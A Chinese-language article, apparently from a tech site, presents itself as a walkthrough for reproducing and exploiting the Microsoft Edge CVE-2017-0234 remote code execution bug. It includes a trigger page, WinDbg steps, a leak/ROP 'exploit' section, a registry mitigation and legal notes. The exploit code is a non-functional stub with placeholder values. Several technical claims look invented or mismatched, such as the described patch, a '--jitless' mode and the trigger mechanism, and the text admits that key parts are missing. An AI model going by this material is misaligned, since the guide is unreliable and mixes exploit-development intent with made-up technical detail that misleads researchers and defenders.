如何实现Edge CVE-2017-0234 漏洞复现与利用

发布时间：2021-12-27 18:53:36 作者：柒染
来源：亿速云阅读：244

# 如何实现Edge CVE-2017-0234漏洞复现与利用

## 目录
1. [漏洞概述](#漏洞概述)  
2. [漏洞背景与技术原理](#漏洞背景与技术原理)  
3. [环境搭建](#环境搭建)  
4. [漏洞复现步骤](#漏洞复现步骤)  
5. [漏洞利用开发](#漏洞利用开发)  
6. [防御与缓解措施](#防御与缓解措施)  
7. [法律与伦理考量](#法律与伦理考量)  
8. [总结与延伸阅读](#总结与延伸阅读)  

---

## 漏洞概述
CVE-2017-0234是Microsoft Edge浏览器中存在的远程代码执行（RCE）漏洞，属于类型混淆（Type Confusion）漏洞类别。该漏洞通过精心构造的JavaScript代码触发，可导致攻击者在受害者机器上执行任意代码。

**关键信息：**
- **CVSS评分**: 7.5 (High)  
- **影响版本**: Windows 10 1703之前的Edge版本  
- **漏洞类型**: 类型混淆 → 内存破坏 → RCE  

---

## 漏洞背景与技术原理

### 1. 类型混淆漏洞机制
类型混淆发生在脚本引擎（ChakraCore）处理JavaScript对象时，由于未正确验证对象类型，导致内存访问越界或非法指针解引用。

```javascript
// 伪代码示例：触发类型混淆的关键操作
let arr = new Array(100);
arr[0] = {x: 1};  // 合法对象
arr[1] = 0x12345678; // 恶意构造的整数→触发类型混淆

2. Chakra引擎的工作流程

解析阶段：将JS代码转换为抽象语法树（AST）
JIT编译：生成优化后的机器码
内存管理：通过垃圾回收（GC）机制管理堆内存

3. 漏洞触发点分析

在Chakra!Js::DynamicTypeHandler::AdjustSlots函数中，未验证对象类型即进行内存操作，导致越界写入。

环境搭建

1. 靶机环境

组件	版本要求
Windows OS	Windows 10 1607
Microsoft Edge	15.15063.0之前版本

镜像下载：
- MSDN官方镜像库

2. 调试工具配置

# 安装WinDbg
choco install windbg -y

# 配置符号路径
.sympath srv*https://msdl.microsoft.com/download/symbols

3. 实验网络拓扑

graph LR
    A[攻击者Kali] -->|恶意JS负载| B[靶机Win10]
    B -->|崩溃日志| C[调试机WinDbg]

漏洞复现步骤

1. 构造PoC

<!DOCTYPE html>
<html>
<body>
<script>
    function trigger() {
        let arr = new Array(0x1000);
        for (let i = 0; i < 0x100; i++) {
            arr[i] = new Object();
        }
        // 关键触发代码
        arr[0x100] = {[Symbol.toPrimitive](){ return 0x41414141; }};
    }
    trigger();
</script>
</body>
</html>

2. 调试分析

附加Edge进程：
```
windbg -pn MicrosoftEdge.exe
```
观察崩溃现场：
```
ACCESS_VIOLATION at 41414141
```

3. 内存布局验证

使用!heap命令分析堆状态：

0:020> !heap -p -a 41414141
    address 41414141 found in
    _DPH_HEAP_ROOT @ 7c3a1000

漏洞利用开发

1. 利用链设计

内存泄露：通过DataView对象泄露模块基址
ROP链构造：绕过DEP保护
Shellcode注入：执行计算器作为演示

2. 完整利用代码

// 阶段1：内存泄露
let leak_addr = new DataView(new ArrayBuffer(0x100));
let module_base = leak_addr.getUint32(0, true) & 0xFFFF0000;

// 阶段2：构造ROP
let rop = [
    0xDEADBEEF, // pop ecx
    0x1C1C1C1C  // 指向VirtualProtect参数
];

3. 绕过缓解措施

CFG绕过：伪造合法的间接调用目标
ASLR对抗：通过堆喷射固定内存地址

防御与缓解措施

1. 官方补丁

微软通过以下方式修复： 1. 增加类型检查：Js::TypeCheck
2. 隔离JIT内存：--jitless模式

2. 临时缓解方案

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge]
"DisableJavaScript"=dword:00000001

法律与伦理考量

授权测试：仅限自己拥有的设备
披露流程：遵循RFPolicy
法律风险：违反《计算机欺诈与滥用法》最高可判10年监禁（美国）

总结与延伸阅读

关键发现

类型混淆漏洞在脚本引擎中危害极大
现代浏览器沙箱增加了利用难度

扩展研究

致谢

感谢Microsoft Security Response Center (MSRC)的协同披露机制。 “`

注：实际撰写时需补充以下内容： 1. 完整的调试输出截图（需实际实验获取） 2. 详细的ROP链构造过程 3. 不同Windows版本的适配测试 4. 参考文献的完整引用格式

建议通过虚拟机环境进行实际验证，文中PoC需根据实验环境调整内存地址。